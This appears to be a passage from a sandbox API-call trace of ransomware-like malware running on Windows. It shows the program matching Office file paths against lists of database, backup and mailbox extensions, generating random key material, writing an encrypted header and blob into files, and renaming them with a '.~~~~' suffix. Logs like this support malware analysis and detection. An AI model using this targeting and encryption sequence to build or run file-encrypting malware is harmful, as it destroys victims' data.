	[0137.050] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK", lpSrch=".dbs") returned 0x0
	[0137.050] lstrlenW (lpString=".vhdx") returned 5
	[0137.050] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK", lpSrch=".vhdx") returned 0x0
	[0137.050] lstrlenW (lpString=".NDF") returned 4
	[0137.050] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK", lpSrch=".NDF") returned 0x0
	[0137.050] lstrlenW (lpString=".dat") returned 4
	[0137.050] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK", lpSrch=".dat") returned 0x0
	[0137.050] lstrlenW (lpString=".DBS") returned 4
	[0137.050] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK", lpSrch=".DBS") returned 0x0
	[0137.050] lstrlenW (lpString=".CKP") returned 4
	[0137.050] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK", lpSrch=".CKP") returned 0x0
	[0137.050] lstrlenW (lpString=".edb") returned 4
	[0137.050] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK", lpSrch=".edb") returned 0x0
	[0137.050] lstrlenW (lpString=".PST") returned 4
	[0137.050] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK", lpSrch=".PST") returned 0x0
	[0137.050] lstrlenW (lpString=".dbf") returned 4
	[0137.050] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK", lpSrch=".dbf") returned 0x0
	[0137.050] lstrlenW (lpString=".SQL") returned 4
	[0137.050] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK", lpSrch=".SQL") returned 0x0
	[0137.050] lstrlenW (lpString=".pst") returned 4
	[0137.051] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK", lpSrch=".pst") returned 0x0
	[0137.051] lstrlenW (lpString=".dbv") returned 4
	[0137.051] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK", lpSrch=".dbv") returned 0x0
	[0137.051] lstrlenW (lpString=".SDF") returned 4
	[0137.051] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK", lpSrch=".SDF") returned 0x0
	[0137.051] lstrlenW (lpString=".dtxs") returned 5
	[0137.051] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK", lpSrch=".dtxs") returned 0x0
	[0137.051] lstrlenW (lpString=".db3") returned 4
	[0137.051] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK", lpSrch=".db3") returned 0x0
	[0137.051] lstrlenW (lpString=".OST") returned 4
	[0137.051] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK", lpSrch=".OST") returned 0x0
	[0137.051] lstrlenW (lpString=".dbx") returned 4
	[0137.051] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK", lpSrch=".dbx") returned 0x0
	[0137.051] lstrlenW (lpString=".DB3") returned 4
	[0137.051] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK", lpSrch=".DB3") returned 0x0
	[0137.051] lstrlenW (lpString=".DAT") returned 4
	[0137.051] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK", lpSrch=".DAT") returned 0x0
	[0137.051] lstrlenW (lpString=".VHDX") returned 5
	[0137.051] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK", lpSrch=".VHDX") returned 0x0
	[0137.051] lstrlenW (lpString=".ndf") returned 4
	[0137.051] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK", lpSrch=".ndf") returned 0x0
	[0137.051] lstrlenW (lpString=".DB") returned 3
	[0137.051] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK", lpSrch=".DB") returned 0x0
	[0137.051] lstrlenW (lpString=".sql") returned 4
	[0137.051] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK", lpSrch=".sql") returned 0x0
	[0137.051] lstrlenW (lpString=".MYD") returned 4
	[0137.051] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK", lpSrch=".MYD") returned 0x0
	[0137.051] lstrlenW (lpString=".DBT") returned 4
	[0137.051] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK", lpSrch=".DBT") returned 0x0
	[0137.051] lstrlenW (lpString=".ACCDB") returned 6
	[0137.052] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK", lpSrch=".ACCDB") returned 0x0
	[0137.052] lstrlenW (lpString=".fdb") returned 4
	[0137.052] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK", lpSrch=".fdb") returned 0x0
	[0137.052] lstrlenW (lpString=".bak") returned 4
	[0137.052] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK", lpSrch=".bak") returned 0x0
	[0137.052] lstrlenW (lpString=".myd") returned 4
	[0137.052] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK", lpSrch=".myd") returned 0x0
	[0137.052] lstrlenW (lpString=".DTXS") returned 5
	[0137.052] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK", lpSrch=".DTXS") returned 0x0
	[0137.052] lstrlenW (lpString=".ckp") returned 4
	[0137.052] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK", lpSrch=".ckp") returned 0x0
	[0137.052] lstrlenW (lpString=".dbt") returned 4
	[0137.052] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK", lpSrch=".dbt") returned 0x0
	[0137.052] lstrlenW (lpString=".db") returned 3
	[0137.052] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK", lpSrch=".db") returned 0x0
	[0137.052] lstrlenW (lpString=".TXT") returned 4
	[0137.052] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK", lpSrch=".TXT") returned 0x0
	[0137.052] lstrlenW (lpString=".MDF") returned 4
	[0137.052] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK", lpSrch=".MDF") returned 0x0
	[0137.052] lstrlenW (lpString=".bdb") returned 4
	[0137.052] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK", lpSrch=".bdb") returned 0x0
	[0137.052] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0137.052] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0137.052] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0137.052] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0137.053] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394860) returned 1
	[0137.054] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0137.054] CryptReleaseContext (hProv=0x394860, dwFlags=0x0) returned 1
	[0137.054] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0137.054] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0137.054] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0137.054] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25704420964) returned 1
	[0137.054] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xbb20efd0, dwHighDateTime=0x1d60e1e)) 
	[0137.054] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0137.054] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0137.055] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0137.055] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e4b30
	[0137.055] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0137.055] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e4b30 | out: hHeap=0x300000) returned 1
	[0137.055] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0137.055] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0137.055] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ce230
	[0137.055] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0137.055] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c58d0
	[0137.055] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ce230 | out: hHeap=0x300000) returned 1
	[0137.055] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0137.055] GetLastError () returned 0x0
	[0137.056] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0137.056] GetLastError () returned 0x0
	[0137.057] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0xffffff8f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.059] WriteFile (in: hFile=0x108, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x71, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x1f8fec0*=0x71, lpOverlapped=0x0) returned 1
	[0137.059] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0137.059] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.060] WriteFile (in: hFile=0x108, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0137.060] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0137.060] WriteFile (in: hFile=0x108, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0137.061] CloseHandle (hObject=0x108) returned 1
	[0137.061] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ce230
	[0137.061] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_k_col.hxk"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_k_col.hxk.~~~~")) returned 1
	[0137.063] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ce230 | out: hHeap=0x300000) returned 1
	[0137.064] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0137.064] GetLastError () returned 0x0
	[0137.064] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL", lpSrch=".scr") returned 0x0
	[0137.064] lstrlenW (lpString=".cmd") returned 4
	[0137.064] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL", lpSrch=".cmd") returned 0x0
	[0137.064] lstrlenW (lpString=".dll") returned 4
	[0137.064] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL", lpSrch=".dll") returned 0x0
	[0137.064] lstrlenW (lpString=".bat") returned 4
	[0137.064] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL", lpSrch=".bat") returned 0x0
	[0137.064] lstrlenW (lpString=".cpl") returned 4
	[0137.064] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL", lpSrch=".cpl") returned 0x0
	[0137.064] lstrlenW (lpString=".sys") returned 4
	[0137.064] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL", lpSrch=".sys") returned 0x0
	[0137.064] lstrlenW (lpString=".msc") returned 4
	[0137.064] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL", lpSrch=".msc") returned 0x0
	[0137.064] lstrlenW (lpString=".com") returned 4
	[0137.064] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL", lpSrch=".com") returned 0x0
	[0137.064] lstrlenW (lpString=".lnk") returned 4
	[0137.064] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL", lpSrch=".lnk") returned 0x0
	[0137.064] lstrlenW (lpString=".msp") returned 4
	[0137.064] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL", lpSrch=".msp") returned 0x0
	[0137.065] lstrlenW (lpString=".pif") returned 4
	[0137.065] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL", lpSrch=".pif") returned 0x0
	[0137.065] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0137.065] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0137.065] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
	[0137.066] lstrlenW (lpString=".sqb") returned 4
	[0137.066] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL", lpSrch=".sqb") returned 0x0
	[0137.066] lstrlenW (lpString=".ost") returned 4
	[0137.066] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL", lpSrch=".ost") returned 0x0
	[0137.067] lstrlenW (lpString=".txt") returned 4
	[0137.067] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL", lpSrch=".txt") returned 0x0
	[0137.067] lstrlenW (lpString=".mdt") returned 4
	[0137.067] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL", lpSrch=".mdt") returned 0x0
	[0137.067] lstrlenW (lpString=".BDB") returned 4
	[0137.067] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL", lpSrch=".BDB") returned 0x0
	[0137.067] lstrlenW (lpString=".eql") returned 4
	[0137.067] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL", lpSrch=".eql") returned 0x0
	[0137.067] lstrlenW (lpString=".DBF") returned 4
	[0137.067] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL", lpSrch=".DBF") returned 0x0
	[0137.067] lstrlenW (lpString=".EQL") returned 4
	[0137.067] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL", lpSrch=".EQL") returned 0x0
	[0137.067] lstrlenW (lpString=".FDB") returned 4
	[0137.067] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL", lpSrch=".FDB") returned 0x0
	[0137.067] lstrlenW (lpString=".EDB") returned 4
	[0137.067] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL", lpSrch=".EDB") returned 0x0
	[0137.067] lstrlenW (lpString=".DACPAC") returned 7
	[0137.067] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL", lpSrch=".DACPAC") returned 0x0
	[0137.067] lstrlenW (lpString=".VHD") returned 4
	[0137.067] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL", lpSrch=".VHD") returned 0x0
	[0137.067] lstrlenW (lpString=".DBV") returned 4
	[0137.067] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL", lpSrch=".DBV") returned 0x0
	[0137.067] lstrlenW (lpString=".dacpac") returned 7
	[0137.067] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL", lpSrch=".dacpac") returned 0x0
	[0137.067] lstrlenW (lpString=".sdf") returned 4
	[0137.067] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL", lpSrch=".sdf") returned 0x0
	[0137.067] lstrlenW (lpString=".accdb") returned 6
	[0137.067] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL", lpSrch=".accdb") returned 0x0
	[0137.067] lstrlenW (lpString=".DBX") returned 4
	[0137.067] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL", lpSrch=".DBX") returned 0x0
	[0137.067] lstrlenW (lpString=".MDT") returned 4
	[0137.067] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL", lpSrch=".MDT") returned 0x0
	[0137.067] lstrlenW (lpString=".SQB") returned 4
	[0137.067] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL", lpSrch=".SQB") returned 0x0
	[0137.068] lstrlenW (lpString=".vhd") returned 4
	[0137.068] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL", lpSrch=".vhd") returned 0x0
	[0137.068] lstrlenW (lpString=".bac") returned 4
	[0137.068] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL", lpSrch=".bac") returned 0x0
	[0137.068] lstrlenW (lpString=".mdf") returned 4
	[0137.068] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL", lpSrch=".mdf") returned 0x0
	[0137.068] lstrlenW (lpString=".BAK") returned 4
	[0137.068] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL", lpSrch=".BAK") returned 0x0
	[0137.068] lstrlenW (lpString=".BAC") returned 4
	[0137.068] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL", lpSrch=".BAC") returned 0x0
	[0137.068] lstrlenW (lpString=".dbs") returned 4
	[0137.068] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL", lpSrch=".dbs") returned 0x0
	[0137.068] lstrlenW (lpString=".vhdx") returned 5
	[0137.068] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL", lpSrch=".vhdx") returned 0x0
	[0137.068] lstrlenW (lpString=".NDF") returned 4
	[0137.068] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL", lpSrch=".NDF") returned 0x0
	[0137.068] lstrlenW (lpString=".dat") returned 4
	[0137.068] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL", lpSrch=".dat") returned 0x0
	[0137.068] lstrlenW (lpString=".DBS") returned 4
	[0137.068] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL", lpSrch=".DBS") returned 0x0
	[0137.068] lstrlenW (lpString=".CKP") returned 4
	[0137.068] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL", lpSrch=".CKP") returned 0x0
	[0137.068] lstrlenW (lpString=".edb") returned 4
	[0137.068] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL", lpSrch=".edb") returned 0x0
	[0137.068] lstrlenW (lpString=".PST") returned 4
	[0137.068] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL", lpSrch=".PST") returned 0x0
	[0137.068] lstrlenW (lpString=".dbf") returned 4
	[0137.068] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL", lpSrch=".dbf") returned 0x0
	[0137.068] lstrlenW (lpString=".SQL") returned 4
	[0137.068] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL", lpSrch=".SQL") returned 0x0
	[0137.068] lstrlenW (lpString=".pst") returned 4
	[0137.068] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL", lpSrch=".pst") returned 0x0
	[0137.069] lstrlenW (lpString=".dbv") returned 4
	[0137.069] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL", lpSrch=".dbv") returned 0x0
	[0137.069] lstrlenW (lpString=".SDF") returned 4
	[0137.069] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL", lpSrch=".SDF") returned 0x0
	[0137.069] lstrlenW (lpString=".dtxs") returned 5
	[0137.069] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL", lpSrch=".dtxs") returned 0x0
	[0137.069] lstrlenW (lpString=".db3") returned 4
	[0137.069] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL", lpSrch=".db3") returned 0x0
	[0137.069] lstrlenW (lpString=".OST") returned 4
	[0137.069] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL", lpSrch=".OST") returned 0x0
	[0137.069] lstrlenW (lpString=".dbx") returned 4
	[0137.069] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL", lpSrch=".dbx") returned 0x0
	[0137.069] lstrlenW (lpString=".DB3") returned 4
	[0137.069] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL", lpSrch=".DB3") returned 0x0
	[0137.069] lstrlenW (lpString=".DAT") returned 4
	[0137.069] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL", lpSrch=".DAT") returned 0x0
	[0137.069] lstrlenW (lpString=".VHDX") returned 5
	[0137.069] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL", lpSrch=".VHDX") returned 0x0
	[0137.069] lstrlenW (lpString=".ndf") returned 4
	[0137.069] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL", lpSrch=".ndf") returned 0x0
	[0137.069] lstrlenW (lpString=".DB") returned 3
	[0137.069] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL", lpSrch=".DB") returned 0x0
	[0137.069] lstrlenW (lpString=".sql") returned 4
	[0137.069] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL", lpSrch=".sql") returned 0x0
	[0137.069] lstrlenW (lpString=".MYD") returned 4
	[0137.069] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL", lpSrch=".MYD") returned 0x0
	[0137.069] lstrlenW (lpString=".DBT") returned 4
	[0137.069] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL", lpSrch=".DBT") returned 0x0
	[0137.069] lstrlenW (lpString=".ACCDB") returned 6
	[0137.069] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL", lpSrch=".ACCDB") returned 0x0
	[0137.069] lstrlenW (lpString=".fdb") returned 4
	[0137.069] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL", lpSrch=".fdb") returned 0x0
	[0137.069] lstrlenW (lpString=".bak") returned 4
	[0137.069] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL", lpSrch=".bak") returned 0x0
	[0137.069] lstrlenW (lpString=".myd") returned 4
	[0137.070] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL", lpSrch=".myd") returned 0x0
	[0137.070] lstrlenW (lpString=".DTXS") returned 5
	[0137.070] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL", lpSrch=".DTXS") returned 0x0
	[0137.070] lstrlenW (lpString=".ckp") returned 4
